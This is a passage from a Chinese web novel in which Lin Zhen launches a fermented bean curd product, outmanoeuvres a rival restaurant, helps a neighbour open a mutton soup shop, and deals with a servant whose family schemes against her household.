“新起了好宽敞的屋宅,手下还有四五个人使唤着,已是发家了。”对着林掌櫃,他倒是有甚说甚,“我瞧着,林娘子家里雖是才发家,可屋子里的人教她调。教得多好,门户紧且格外规矩,不似那等穷人乍富便狂妄的模样。” 林掌櫃倚在炕上,叹道:“才几年?竟已做到常人一辈子都不见得能做到的事儿。林小友,果真不凡啊!” 林福沉默半晌,不死心问道:“为何不趁此机会与人消除隔阂,重新结交?今日林娘子待我甚是客气,丝毫不见倨傲。” 先前是他们这头先断了联系,这番又厚着面皮前去。 若是一般人,怎么也得露出几分不客气来,便是故意刁难也是有的。 可林娘子却是一切如常,还格外优待,就冲这番气度,便值得相交。 林掌柜想起东家的那句‘门户太低,不必过分熱络,寻常即可’的话来,心里雖有些惋惜,可也得承认东家没说錯。 “罢了罢了,哪有咱做主的?照吩咐做事便罢了。” == 等平安小崽子不当树懒,林真能脱开身的时候,家里的白腐乳也到了能开封的时候了。 “清而有质,醇而不腻,其细白如腻乳,唤作‘腐乳’二字,倒是恰如其分,妙极妙极!”王柘抚掌大赞,“虽与紅方有些相似,可却是两种不同的风味,值得王某一记,甚好!” 先前家里启了一坛子来尝o,她屠户爹就着腐乳呼啦啦下了两大碗清粥,她自家吃着也不錯。 可直到此时,听见王柘如此称赞后,心里才松了一口气。 这些年,王柘是愈发挑剔了,寻常难得见他如此。 她这腐乳,一定会大卖! 事实也是如此,有王柘的软文推广,这东西本就不愁卖。更别说,王柘还拉着早就打响名声的紅方来比较,这下子,可不更是引得人争相竞買? 林真发誓,主意不是她出的,她也一点儿没想拉踩丰樂楼的紅方,就是想蹭一蹭它的名气。 可哪里想到,許是冬日人都闲着,她都没用白方这样的名儿,可还是引来一堆人互相拉踩。 又因着林家的腐乳卖得比丰樂楼便宜许多,居然还引来了林大掌柜亲自登门。 “林小友,你这白方一出,我那头的红方,无人问津咯!” 林真干笑:“小铺子里的东西,哪里能与丰樂楼相比?只剩在新鲜而已,这才教人追捧一二。等这阵热乎劲儿一过,丰樂楼的生意,自然是谁都抢不得的。” 林真这是大实话,两家受众本就不同,若不是有王柘在,她这小铺子里的东西想与丰乐楼那头的东西扯上关系? 那人人都得骂一句:怕不是失了智? 林掌柜自然晓得这个道理,他今日来,也不是来兴师问罪的,没有这样做生意的。 “某只是想厚着面皮问一句小友,这红方白方有了,不会还有甚青方紫方罢?” 林真摆手:“再是没了,这白方也是我偶然所得。” 其实还真有,青方,臭豆腐麽。可惜了,在甚是讲究清雅的慈溪县来说,这玩意儿,不会有市场的。 林真正色道:“林掌柜请放心,原想着这腐乳虽与红方有些相似,可到底风味不同,这才自家製了来卖,倒是没想到引出这样一桩风波来。” 她当时製腐乳时,也是纠结许久。 严格来说,这玩意儿与红方算是同宗同源,她红方的方子卖给了林掌柜,若是再製腐乳来卖,有些不地道。 可又一想,这红方的制法卖出去两年多了。若是真较真起来,她当时只卖了红方的制法给林掌柜,丝毫没提及白方,这算不得违约。 心一横,便制了来卖。 要说不地道的一点,就是蹭了蹭红方的名儿。 可她晓得,她这独门生意做不了多久。 林掌柜手头有红方的制法,这腐乳一出,凭借丰乐楼的厨子,怕是要不了多久,就能将腐乳研究出来。 那时候,她不信丰乐楼不制了腐乳来售卖。 林真没料错,不过十来日,丰乐楼便推出白方来卖。 且还打着惠顾让利的名儿,推出红白套餐来。 林真粗粗一算,丰乐楼暗中降价了。 不愧是屹立多年的大酒楼,这一手,着实高明。 可如此一来,林真这头的腐乳便不占甚优势了,多出几十个子儿,去買丰乐楼的红白方,不是更显体面麽? 腐乳的销量,瞬间降了一大截儿。 铺子里众人都焦急起来,连带着慈幼院俩丫头心里也发慌。 她们理货时可瞧见了,东家制出来的腐乳不少,这卖不出可怎生是好? 会不会,就不教她们留在铺子里做事儿了? 可林真半点儿不见着急,还背着手,晃悠去了戈家羊肉铺那头去。 也正是林真这副气定神闲的模样,迅速将铺子里的焦躁安抚下去,众人瞧着,倒是也定下心来,各自做事。 “哟,您这头生意倒是好,又卖得差不多了?可还有羊排?”林真凑过去问。 戈家掌柜将砍刀往砧板上一剁,斜睨着林真:“真是来买羊排的?” 林真与戈掌柜是老熟人了,先是买羊肉吃,后头又寻人买奶羊。 双方脾气也合得来,倒是处得不差。 “那是自然,买了羊排家去清炖,再打个蘸碟儿来吃,腐乳、糊茱萸、蒜末和香葱,那滋味儿,绝了!” 第86章 “林娘子来了, 来来来,里面坐,我近些日子日日都煮了好茶汤, 就等着招待贵客咧!” 戈家娘子出来,语气热络,一个劲儿地招呼林真往里走。 “你别理我家老戈,他见識少, 打賭输给娘子, 心里怄气, 咱不跟他一般见識啊!” 戈家娘子是个白面团儿似的妇人,丰腴但不粗壮,又爱洁,整个儿人收拾得干净利索, 鬓边一朵粉白的木芙蓉,更显得肤色白皙细腻。 像是燕儿还在家时, 制过的茉莉花浮元子。 她笑起来还有俩梨涡, 更显清甜可人, 凑过来拉着林真的手:“外头冷,咱屋里说话, 炭盆儿上我还烤了栗子, 你那羊排我早留着了, 教老戈给剁得二指长, 待会儿回去就下鍋,一点儿不耽误。” 林真笑嘻嘻, 冲着面色黑了几分的戈掌櫃道:“劳煩戈掌櫃了哎!” 林真从来不打无准备的仗,她想制腐乳,自然要先找好買家。且还不是散客, 散客能吃多少?顶天了一日一块儿。 要找,就得找个大客户。 腐乳其实能算作一味調料,若是按調味料来用,那用量,自然是比尋常人家買去佐餐来得大。 是以,林真早早便盯上了戈家羊肉鋪。 老戈其实不老,他以前是小戈,从自家老爹手里接过鋪子后,客人还是唤‘老戈’,于是,不到而立之年的小戈便成了老戈。 戈家娘子是个能干的,跟着老戈接手鋪子后,经营得有声有色,可人其实不大满意。 “林娘子,我也不瞒你。我早先便想将隔壁鋪子盘下来卖羊汤,可老戈性子谨慎,又是家里的幺儿,没有十成的把握是做不得主的。可我不甘心,日日起早贪黑耗在这铺子里,钱没分得几个,还都觉着我得了天大的好处!如此,我若不自家挣出一门赚钱的营生来,岂不是对不起这些年受的酸言酸语?” 戈家娘子既已下了决心,便直言相告。 “隔壁那铺子原先就是个汤饼铺,略略改动一二便成。我用自家的嫁妆钱来赁,不经戈家的手,我自家就能拿主意!” 林真赞道:“娘子好决断!这羊汤之鲜,羊肉占主,庖厨调和倒在其次。戈家这样好的羊肉,自家开个羊汤铺子是再好不过。且咱大虞爱吃羊肉,一年里,只夏月少有人吃,便是燥热些的秋日里,晨起也是有人要喝羊汤的,更不用说冬月和早春了,哪家羊汤铺子不扎堆儿? 这话,我对戈掌櫃也说过,可人不听我的,倒是娘子听进心去了。早曉得,我直接尋你,说不得,这羊汤铺子早开张了。” 戈家娘子大笑:“那林掌櫃往后都寻我,咱不跟老戈说话。他这朝与你打賭输了,心里正不得劲儿呢!” “又说我不是呢?”戈掌柜掀了帘子进来,“早曉得林掌柜有这逼得丰樂樓都降价的本事儿,我哪里还敢同你打赌?这厢我是心服口服了,咱那契,可还算数?” 先前林真来游说戈掌柜开羊汤铺子的时候,将自家吃羊汤的蘸料带了来,说定,要是戈家从她这里买腐乳,她这蘸料的配方便说与戈掌柜。 戈掌柜吃了林真的蘸料,本是十分心动,可一瞧这见蘸碟儿里的腐乳便泄气。 “林掌柜,丰樂樓那红方是甚价?你这腐乳就算是便宜卖与我,可我一拿出去,人可不会相信我这小小的羊汤铺子能使得上丰乐樓的好东西,没得牵扯出更多麻煩来。若是你这蘸料非要腐乳不可,咱这桩交易便就此作罢。 ” 林真当时只觉着戈掌柜脑壳有包。 “我卖我的腐乳,与丰乐楼的红方有何干系?” 戈掌柜摆摆手:“丰乐楼,慈溪第一大酒楼!多得是人追捧,在里头吃顿饭可吹嘘好一阵儿。你这腐乳瞧着与红方如此相似,若是出现在我这一小小羊汤铺子里,有得是人挑剔我的不是!” 戈掌柜气哼哼:“别铺子还没开起来,反落得一个偷师的名儿。那时,还会带累我这好好儿的羊肉铺!” 林真当时大为震惊,后头仔细一想,还真是。 腐乳与红方,外观瞧着已是有些相似,又同样是发酵风味儿。若是贸贸然出现,有红方珠玉在前,人只会认为腐乳是偷师红方却失败的产物! 那时,再教有心人推动一二,这腐乳的名声就坏了! 誰还来买? 脑子一转便想通,林真却笑:“戈掌柜,咱打个赌罢?” 她先前鼓励王柘借着小报扬名,那时不过是觉着王柘是真有天赋,且人还多讲义气,这才出言相勸。 现在,倒是真教她捡了大便宜了! 如此,才有先前她拜托王柘品鉴腐乳一事。 而王柘也很上道,小报一出,文章开头便定下了‘乳与红方,虽出同源,但却是截然不同的两种食物的’的基调来。 有他背书,自然无人说腐乳是红方偷师失败的产物,且还引得好一场‘红白之争’,无形中,还教腐乳蹭上了‘顶流’的名儿,又引得丰乐楼主动降价。 实在是一举多得! 林真笑眯眯瞧着戈掌柜,使坏:“自然是算数的,只是,我与誰定契呢?” 戈掌柜讨饶:“您二位商量便成,我再不多嘴。” 林真早早便打起的主意,契约的条条款款自然也想过。 此番与戈家娘子只需稍稍修改,便定下契来。 “成,这天儿也不早了,我家里还有个磨人精,这便告辞了。明儿我带了东西来,咱再调那蘸料啊。” 林真瞧着天色不早,趕緊提出告辞。 戈家娘子也不瞎客气,教老戈趕緊提了林真要的羊排来,便要送人出去。 “多少钱?”林真摸荷包。 戈家娘子将羊排塞在林真手里:“白得的好主意,哪里还能要你的钱?拿着吃去!” 林真不接,语气轻松带着顽笑:“戈娘子莫不是不想置了席来请我吃饭?” “这话怎说得?自然该正经请你吃席饮酒呢!” “那这羊排我如何能白要?无功不受禄,咱俩家生意往来还久着呢!生意上的事儿自然该是一笔一笔算清楚。你若是白白送我,我往后可都不敢来了。” 林真叹气,好不可怜道。 “吃了你家的羊肉我可瞧不上其他家的,难不成,这就是最后一顿了?” “哈哈!妹子这张嘴啊!巧得很!” 戈家娘子笑得鬓边的木芙蓉一颤一颤的,她喊人。 “老戈,来算账!记得给抹零儿!” 林真提着羊排家去,整好瞧见裹成个球的平安又候在外头了。 她叹气,由着范三哥接驴车,自个儿快步上前。 “娘今儿有事耽搁了,可不是故意迟迟不归家的。” 平安崽子瞧见自家娘亲,皺着的小眉头这才松开,点点头:“嗯!” 又将自个儿软乎乎的小手塞到林真手里:“啊!” 林真扶额:“祖宗哎,你怎又不说话了?” 平安举着另一个小指头,指着门内,又是一声:“啊!” “晓得了晓得了,咱进去就是!”林真拗不过他,赶紧抱着人进去,“可别在外头吹冷风了!” 吴麽麽有些不安,小声道:“安哥儿吃了鱼糜粥后,娘子还未归家。他便要出门,谁都勸不动,抱回来又要出去,如此三四次,只能裹了衣裳出门来等。娘子放心,没等多久,咱一直避着风口的。” “麽麽莫慌,这崽子,我还不晓得么?犟得很,这劲儿一上来,哪里是能轻易劝住的?” 这崽,不知道随了谁,那词儿怎说来着:秩序感贼强! 他甚时候喝奶甚时候吃粥,那都是定时定碗定椅子的! 但凡有一点儿不对,人便不吃,非要将他的小碗小椅子都摆正了,才肯开口。 林真前些日子终于争取到出门的机会,便与他说:“每日,你下半晌吃了肉糜粥后,娘就家来。” 好麽!人听进去了! 每日肉糜粥一吃完,吴麽麽给擦洗了,便要找娘。 若那时候林真还未归家,便要去门口等着,越等,那小眉头皺得便越紧。 一张小脸,还肉团团的,非要板着,瞧着好笑得很。 羊排交给邹娘子下鍋,林真交代一句:“起灶另炖一锅,只放葱姜去腥儿,再稍稍加一点子燕儿送来的当归,炖好后,送去沈猎户那头。” 燕儿随仇娘子出门已是半月有余,昨日才送来了一封家书,还有俩包袱,一只装着当归、枸杞,说是遇着宕州来的商队,便给家里买了些;另一包,便是平安崽子的衣裳,还是珍珠毛(羔羊皮)的! 一斗珠的羊皮褂子[1],也是教这小崽子穿上了! 纯白的羔羊皮,柔软轻薄却格外暖和,那件小褂子一上身,平安崽子大冬天的,后背心儿还会冒汗。 “燕儿这丫头,贯会报喜不抱忧的!怎还在路上缝制衣裳?”林真皱眉,“不成,我得好好说说她!” 林真洋洋洒洒写了好厚一封信,交与承节郎家的仆从时,还很不好意思。 “劳烦您了,若是再有回信儿,只管送到长兴坊那头去,不肖您还往乡下跑。” 顺手又塞了一角碎银过去。 承节郎家的仆从瞧着只有一封信,倒是暗自赞林家识趣儿,又得了银子,遂将那封信一同封在自家小姐的家书匣子里,免得遗落了。 回信送到燕儿手里,拆开家书后,满满当当的信纸里,还有两张交子。 燕儿见了,不免又要落泪。 可自家还在路上,第一回 蹭着肖姐姐的家书报平安便罢了,往后不能如此,只能托着人带个口信儿。 她望着窗外,雨雪簌簌,甚是凄冷。 天儿这样冷,怕是家里又在吃锅子了? 第87章 戈家娘子动作很快, 林真才将晒干的小河虾磨粉入味,不管羊湯还是蘸料,都会变得极鲜的法子教给人。 人不仅熬了羊湯, 连蘸碟儿都调出辣与不辣两种来。 敲敲打打,不过十来天,戈家羊肉鋪子的边儿上,又立了戈家娘子羊湯鋪的招幌来。 “哟, 老戈, 这是作甚?你两口子还分开做生意不成?”有一熟客见了, 打趣道。 戈掌櫃还没开口,戈家娘子先笑:“那可不,我自家赁的鋪子自家熬的羊湯,连羊肉都是给了錢的!当然是我自家的羊汤鋪子, 您可要来一碗尝尝鲜?” 那熟客也是个会吃的,不然也不会一早便来戈家这头買羊肉, 此时听了这话, 觉着有意思, 便凑到戈家娘子那头去。 只见羊汤奶白,面上一层清亮的羊油浮动, 却不会叫人觉着浑浊, 反觉醇厚。 凑得近了, 那股子霸道的羊肉香便直直往人心底钻, 边上擺着的葱花儿和香荽,瞧着便翠绿嫩生, 又有蒜末儿、糊茱萸。 紅白翠三色擺了一桌子,瞧着好不热闹。 “你那小壇子里是甚?其余都摆出来了,偏那小壇子藏着掖着。” “嘿, 偏生您眼尖呢!”戈家娘子笑道,开了坛子给人瞧,“瞧,我花了大價錢買来的腐乳,用这腐乳调制的蘸碟,能把人香迷糊了!” “那我可得试试,来碗羊汤,二两肉一两杂,肺不要!你那蘸碟,可得将料放足了,特别是那腐乳,没得吃到后头,料没了。”那熟客显然吃惯了,又问,“可有餅子?” “有!我自家制炊餅的手艺差些,还是打桥头黄家炊餅铺买来的呢!” …… 只一个上午,戈家娘子的羊汤铺就出名儿了,好肉、好汤、好蘸碟儿,还有好炊饼。 “那羊汤,着实是鲜,也不知戈家娘子是如何制的,我自家买了戈家的好肉去,厨娘也炖不出那个味儿来。”王柘咂摸着嘴,瞧见林真,又补了一句。 “哦,你那腐乳调制的蘸碟儿也好吃。” 他又凑近,好奇道:“只你是怎说服戈家娘子的?竟就这样大大方方将料都摆在台面儿上,人人都瞧见了。你这腐乳倒是好賣,她可不就少了独家的生意麽?” “嘿,腐乳的味儿着实新奇,多吃两回便能猜到了。藏着掖着作甚?还不如大大方方摆出来,教人曉得,戈家娘子羊汤铺子里头,是样样都好!且你刚才也说了,同样的羊肉,你家厨娘炖出来的羊汤,可不如戈家娘子,这同样的料,到了不同的人手里,那味儿自然也是不一样的。” 林真说得信誓旦旦,似乎教给戈家娘子往汤里料里都加河虾粉的不是她一样。 王柘可不信,他尝着,那里头似乎还有一味鲜味儿,不似紅肉的鲜。 可他也不深究,他又不开羊汤铺子赚錢,倒是巴不得县里多些好吃食出来,教他能有得写。 “哎,你那腐乳还有多的没?给我留两坛子,这廂用来当调料挺好,我倒是琢磨琢磨能不能用来入菜。” 瞧瞧,若是没得写,那他就得自个儿折腾。 “咱俩甚交情,便是没有,那我也得给你匀两坛子出来。” 戈家娘子羊汤铺子开了没多久,来林真这头买腐乳的伙计便多了不少,一问,都是开羊汤铺子的! 林真手头囤的腐乳,賣得飞快。 “是是是,曉得林掌櫃生意红火,王某承您的情。”王柘作揖。 林真一下子避开来:“作甚?作甚?” “王某佩服林掌柜得很。您这一出手,便能给寻常人家,添一道吃食。” 这是王柘的真心话,这才多久,林真就逼得豐乐楼两次降價,着实厉害。 林真掸掸衣裳,矜持点头:“好说好说。” 腐乳嘛,豆腐加一点子烈酒,便是香料也费不了几个钱。豐乐楼十二块,六百个钱的价,她着实卖不出来,便只能想法子,让其降价。 “你今年腌的甜口香肠呢?可还有,我家今年的年礼里头,你可得多添几挂。” “哪有直喇喇问人要年礼的?” “你藏着香肠不上铺子里卖,我只能厚着面皮问你要了呀!”王柘理直气壮,“林掌柜,你这廂人手充足,很该教铺子里多上几样新鲜吃食来卖。” 林真挥手:“去去去,一边儿去。我这生意够忙活了,可不想再添!” 林真还没忘记商籍的事儿,自然不敢将铺子再铺开。 况且,她赚钱是为了更好的享受生活,可不想将自个儿绑在铺子里头。 是以,今年,林家铺子照旧早早关了门。 …… 今年,林真终于不用去祠堂吹冷风了。 可也没能遂了她的意,教她在家睡到日上三竿。 她是被平安小崽子叫醒的。 “林弘安,你自家起床便罢了,怎还不准你娘睡个懒觉?”她一把抓住小崽子胖乎乎的手,放在嘴边作势要咬。 平安崽子周岁的时候,家里给取了大名儿。虽家里人日常多唤其安哥儿或平安,可这崽子也晓得,‘林弘安’是在唤他。 也晓得,他娘这样唤他的时候,一般,都会伴随着两巴掌拍在屁股上。 所以,平安崽子叫醒自家娘亲后,飞快爬走,又从床尾那头‘倒车’下床,冲着賀景伸手叫唤。 “嘿!大胆小贼,咬了人就想跑!站住!” “啊啊,爹!”平安崽子直叫唤,终于又开了尊口叫他爹爹来救命。 賀景一惯是不掺和这娘俩的官司的,可今儿既然平安崽子叫‘爹爹’了,他便帮他一把。 遂抱了人,可他没往外走,反取了架在熏笼上烘了一夜的衣裳,在平安崽子疑惑、震惊又转控诉的眼神中,回到了林真边上。 不顾平安崽子的尖叫,贺景淡定道:“起来罢,爹待会要唤你清扫堂屋的。” 县尊大人当年赐下的牌匾、春聯和桃符,后两样自然在新的一年后便取下来。 林屠户亲自取的,好生收在特意打的樟木匣子里。 匣子里头搁的防虫药粉一年两换,她屠户爹在县里守铺子,与其余掌柜闲聊时,晓得了七月初是晒书日,打那后,每年的七月五,六、七这三日,便要唤了林真晒春聯。 林真捧着春联,时常觉着自个儿是傻子。 幸好家里的新宅子宽敞,不会有人瞧见她这幅样子。 春联桃符的待遇已是如此,这堂屋悬着的‘积善之家’的牌子,那更是精细。 寻常日子由她屠户爹自家举了鸡毛掸子和软布擦拭,可年节这头,必定要唤了林真去清理。 林真逮着平安崽子一顿闹,终于清醒,这才慢吞吞起身。 “给这崽子脖儿上套一张石子饼罢,少放精细白面,多放糙面,教他拿饼子磨牙,可别再咬人了,他那六颗小米牙,咬人疼得很!” 贺景想了一下平安套着饼子的样子,一下子笑出声儿来:“狭促!教爹瞧见了,不知要如何心疼。” 林真一边套衣裳一边道:“哼!慈爷多败儿,我自会去说我爹。他前儿才答应了我,往后不插手平安的教养问题,今朝再多话,瞧我不说他。” 一大早就闹腾了一场,平安崽子出门去,直直去寻苗娘子喝梨儿水。 今年过年,不止少了燕儿,还少了吴麽麽。 吴麽麽的儿子今年早早来了林家,说家里又添了个大胖小子,要接了吴麽麽同去过年。 吴麽麽点头应了。 林真便包了过节费,捡了香肠熏肉风干鸡给人帶着:“麽麽也许久不见家人了,今朝家去,便好生在家里歇歇。可过了十五,您得回来,我这头,可离不开您呢!” 怕一板一眼地平安崽子又要找人,吴麽麽临走的前几日,便换了苗娘子喂他。 林真又拉着他,一遍一遍给人解释:麽麽要家去了,隔些日子再回来,不许闹。 这才堪堪安抚住较真儿的小崽子。 苗娘子倒多欢喜,家里人手愈发多,又都勤快。她寻常居然没事儿干,可她也不乐意出门与人闲话,倒是很乐意帶软乎乎又乖巧的平安。 范三哥自然也家去过年了,林真也给包了银钱吃食,虽不比吴麽麽,可也很是丰盛。 他回家时,拿在手里,遇见的村人谁人不羡慕。 “哟,三弟家来了?快进来,快进来。”范家大嫂热情招呼道,顺手就接过了范三哥拿在手里的熏肉和风干鸡。 一群拖着鼻涕的小孩儿围过来:“三叔,三叔,我要吃糖!” 范三哥笑呵呵拿出掰成小块儿的饴糖:“一个个来,都有都有……” 分完了糖,范三哥这才进屋去:“爹,娘!我回来了。” 范老爹掀起眼皮子来,打量了一圈儿这个儿子身上的新衣,不咸不淡地点点头。 范老娘抻着脖子去瞧范三哥肩上的背篓,瞧还不算,直接动手翻:“除了肉,还带了甚家来?怎只有一罐盐?没别的了?” 范三哥面上的笑落下来,直勾勾盯着他娘:“没了,这些还不够?” 一直瞧着这边的范家大嫂见了,赶紧进来,堆着笑:“哎呦,爹娘,老三现在出息了,定然有得是好东西孝敬您二老。他这厢才家来,定然劳累,还不教老三放下东西歇着去!” 她一边说,一边推着人走,面上还带笑,只说出来的话有些刺耳。 “三弟,你原先这屋子空着,爹娘就教狗子他们几个住进来了。哎,家里孩子多,大丫三丫都大了,可不好再教他们挤做一堆的,只能教你委屈些啊。” 范三哥站在原先那间窄屋前,只觉着腿像似教堰塘里的淤泥撼住了,动不得,又冷冰冰的,寒气直往身上钻。 可这时候没有东家备下的烫呼呼的红糖姜茶。 只有他爹和娘在问:“你的工钱呢?” 第88章 原是说好初七上工, 可才至初三,範三哥就又回了林家。 卢老开门的时候,瞧着範三哥直皱眉:家去时穿得体面的新棉衣不见了, 身上一件短了半截儿的破袄子,里头露出来的还是芦花。 範三哥面色发青,整个儿人冻得直哆嗦。 “这是怎的了?趕緊进来!”卢老急忙将人迎到自个儿那间屋子里去,屋里生着炭盆儿, 还有一黄銅小吊炉, 里头的茶水开了, 热气儿激得茶吊子噗噗响。 他今年养虾养得好,東家发了一笔赏钱还又给添了泥炉和茶吊子,不夸张地说,他这屋子, 比好些人家都要舒坦。 “水生,给你叔倒一盏子热茶来。”卢老引着範三哥坐下。 “叔, 水。”水生捧着热茶过来, 咧着嘴笑。 水生与范三哥相熟, 并不怕他,反而还分了他两个干枣子吃。 范三哥捧着热茶, 又瞧瞧手里的两个干枣子, 鼻子发酸, 竟直直落下泪来。 他今朝大包小包的回去, 进门连热水都没得一碗,原本属于他的那间屋子也乱糟糟的, 带回去恁多肉,可吃夜饭时,伸了两次箸, 教他爹敲落了竹箸,很是不客气地训斥:恁大的人了,怎还跟你侄儿抢肉吃? 是啊,他恁大的人了,当着小辈的面,还被如此训斥。 晚间跟侄儿们挤作一堆的时候,侄儿们嚷嚷着挤,要掉下床去了,又问他:三叔,你啥时候走啊? 那一刻,他只覺着心里发凉,忍不住想起東家分给他的那间倒座房。 屋子没落锁,但不会有人隨意进他的房间,更不会有人隨意翻他的東西。 卢老瞧着范三哥抹眼泪,心里虽覺可怜,可还是开口:“这是怎的了?好好儿的家去过年,怎弄成这幅模样来?” 他指了指范三哥身上的衣裳:“连東家发的衣裳都没了?这可得好好儿说清楚,没得给东家惹麻煩。” 范三哥心里一惊,顾不得伤心了,趕緊一五一十将自个儿的遭遇说与卢老听。 他不想,也不能被赶出去,若是出去了,哪里还有他的活路? 卢老揣着手,没说话,只对一旁低头吃枣子的水生道:“可是无聊?去找你春芽姐姐耍去。” 春芽是鄒娘子家的女儿,大壮便算了,小丫头唤二丫实在不好听,且一出门去,在外头叫一声‘二丫’,怕是有好几人回头,实在不便。 林真便做主,给改成春芽。 冷不丁听见春芽的名儿,范三哥一个激灵。 卢老直直盯着他,等水生出门去后,才沉声问道:“说罷,还有甚瞒着的?你可得想清楚了,东家最厌欺瞒。一五一十交代清楚了,东家还有可能留你,若是不说,那只能打发你家去。” 卢老摸爬滚打大半辈子,经得事儿海了去了。 这范三哥,是个孝顺的,还是个能忍的。若只是他说的那些爹娘偏心的话,他断不会作出大过年离家的举动来。 定然还有别的事儿! 范三哥嗫嚅着,可卢老盯着自个儿的眼神实在陌生,又想想从前没来林家的日子。 他闭了闭眼,终于开口。 “好下作的东西!”林真一巴掌拍在桌儿上,冷喝一声。 胸中怒火翻腾,呼吸都重了几分,她已是许久没这样动怒了。 贺景皱眉,先拍拍林真,又塞了一个蜜桔在她手里,低声儿道:“别动怒,不值当。” 范三哥扑通一下跪在地上,不住磕求:“东家,我真没这个心思啊!我真的没有,求您不要赶我走,求你了……” 林真瞧他这样,眉头一皱,斥道:“起来说话!这像甚样?以为磕求几句,我便会心软?我怎曉得,那腌臜心思不是你自个儿先起头的,反一味推托在旁人身上?” 范三哥心头一震,只覺着天都快塌了,他更起不来了,口中只翻来覆去道:“我没有,我真没有,我尋常都不敢往豆腐坊那头凑的!东家,您信我啊!” 林真没说话,只盯着他瞧。 范三哥愈发绝望,想起他娘那晚的话,只觉着:他娘,是个恶鬼。 “你这作死的!都是我肠子里出来的,我怎会不为你打算?可咱家甚情况你瞧见了,正经屋子都没几间,拿甚给你娶媳婦儿?”老婦的面庞,在灶间火光的拉扯下显得有些骇人,说出口的话,也像是索命似的。 “你们东家那头,不是有现成的屋子跟人麽?那姓邹的妇人,虽说比你大些,可这样才会疼人呢!你们住得这样近,尋个机会,生米煮成熟饭了,还怕她不从麽? 如此,你情我愿的事儿,便是那林家娘子再厲害,也不好多插手!这样一来,你媳妇儿有了,屋子也有了,还有俩孩子给你赚钱使,如何不好?” 范三哥听了,饭都没吃,直接从家里跑了。 他不曉得他娘是如何想出这样的主意的,他只晓得,若是敢这样行事,他一定会完蛋的。 东家杀猪起家,他帮着按猪时,瞧着林大爷和沈家郎君白刀子进红刀子出,只觉着心里发虚。 还有林东家,虽是女子,可与縣里来的官爷们谈起话来也是半分不怵,且人手段厲害着呢! 族里村里说得上话,縣里交好的大户人家多,便是县衙里,也能混得开。 前些日子清塘时,逮住了俩贼人,东家懒得与人扯皮,直接绑了贼子送去见官。’ 那俩人,挨了板子不说,还被罚去采石了! 他若是干下这等恶事来,怕是没有活路了。 范三哥愈发绝望,可又想不出甚解释的说辞来,突然想起卢老的话来,他眼睛一亮,重重磕在地上:“东家,我也认干亲!我的户籍是被分出来的,我能落籍!求您别赶我走!” 他的户籍是家里不想给缴丁钱(人头税)才被分出来的,当时觉着寒心;可此时,范三哥只觉着庆幸。 林真盯着他,嗤笑一声:“便是要认干亲,我也要寻那没甚家累,人品清白的!你有这样的爹娘兄弟,我是万万不敢留你的。” 宛若晴天霹雳,范三哥瘫在地上,还要哭求,便被候在一旁的卢老拉出去。 “你在这头求东家有甚用?是东家不给你留活路麽?”卢老劈头盖脸一顿骂。 “若是真想留在这儿,便去将你家里那堆破事解决了再来,若不然,你即便是磕得头破血流又如何?东家不会留你的!” 范三哥涣散的双眼渐渐有了神,他低头,瞧着袖口露出来的芦花:是了,不给他活路的,另有其人。 出了卢老的屋子,范三哥去寻鋤头,瞧见铁制的鋤刃,盯着看了好一会儿,还是将其卸了下来,随即,他扛着锄柄,顶着风雪,一头往家里去了。 卢老瞧着人影子都不见了,叹息着将门关紧。 这有爹娘兄弟的,瞧着还不如他这独身一人的糟老头子。 卢老去回了林真一声,又去豆腐坊那头领了水生回自个儿屋子。 刚刚堂屋的动静挺大,可鄒娘子却是一句都没问,只招呼水生再来玩儿。 “还是心软了。”林真盯着茶盏子上的缕缕白烟,有些心煩。 “范三哥干活儿利索,人也老实,除了家里负累重些,没甚不好的。”贺景在给人烤饅头片儿吃。 今日林屠户和苗娘子领了平安走亲戚,倆人难得清闲,林真便想吃烤饅头片儿。 平日里,这些上火的东西是再不敢教平安崽子瞧见的。 平安崽子大方,会分自家小碗里的吃食给爹娘;自然了,爹娘手里的吃食也得分给他尝一口的。 林真嘎吱嘎吱,咬着酥脆又撒了少许椒盐的馒头片儿,斜睨贺景:“哼!只晓得拿话来哄我。你心里怕不是这样想的罷?” 贺景一笑,直言道:“那是自然,范三哥也没甚大本事儿。若是我,定会将人直接赶出去。他的苦难不是我造成的,缘何要我心软给活路?” 他将烤好的馒头片都拿出来,双眼盯着林真:“可我晓得,我家真姐儿是个良善人。那给范三哥留条退路也成,咱只瞧着,他能否作出决断罢了。” “唉!”林真长长一叹,“还是门第低了。” 若她家,是那等朱门銅钉七层石阶的官宦之家,还会有此等小人打这恶心人的主意麽? 怕是想都不敢想! “又说浑话,咱家今儿的日子,已是极为难得。”贺景拉过林真,“可别给自个儿添负担。” 林真点点头:“说得也是,咱得去为难为难别人。我明儿就去有文叔那头转转,咱这林氏族学办了快小三年了,当真是一个好苗子都寻摸不出来?” “前儿码头上那批上好的昆布,就是族人递的消息。”贺景道。 林氏学堂的第一批毕业生,有那机灵的,已经混上码头搬运工那头的小管事了。 林真拿栗子壳扔贺景:“有你这样拆台的麽!” “实话实说麽。” 两人顽笑几句,林真心头的那股子郁气才消散了些许。 “还是得定下规矩来,往后男工只可在前院儿活动。还得给邹娘子和吴麽麽那头,都添一把铜锁,再将门户看紧些。” 林真也是没想到,她已有意将男女住处隔开了,还有恁多烦心事儿。 贺景道:“成,听你的。刚柔并济麽,咱家够柔了,是得再立下严厉些的规矩来。就是范三哥落了籍,也不能轻忽。” 范三哥那头暂且没出结果,只隐约听说,闹得挺大。 倒是这日,吴麽麽归家了。 “这是怎的?不是说过了十五才家来的麽?” 第89章 吳麽麽面上神色未变, 只笑着道:“想安哥儿了,家里也没甚大事儿,便早些归来。” 林真上下打量一下吳麽麽, 并不信。 吳麽麽雖然已尽量收拾过了,可瞧着气色并不算好,眼下的青黑能遮住,可眼神中的疲惫是很難掩饰的。 而且, 她头上的银簪, 没了。 林真没说破, 有些事儿,教苗娘子来问,更好。 她只笑着说:“那敢情好,範三哥家里有事儿耽搁了, 许是要过些日子才能来。家里正是缺人手的时候,您此时家来, 正好!” 初八铺子开张, 干杂铺里还好, 家里一直是有存货的。 可鲜肉菜行不成,肥猪鸡鸭兔儿都要现宰, 还有新鲜的蔬果, 都得拾掇干净了捆扎好, 才能拿到铺子上去卖。 家里人多, 可事儿也杂,还得看着平安崽子, 哄着他不要拿着干草往牲口棚那头去喂兔子。 没得瞧见了宰猪杀兔儿的场面,被吓着了。 林家忙忙碌碌,似乎与从前一样。 可夜里苗娘子来寻林真, 也是摸眼淚。 “吳麽麽那儿子居然是继子,这厢说是接了吴麽麽家去过年,实则是想法子从吴麽麽手里抠铜子儿来使!” 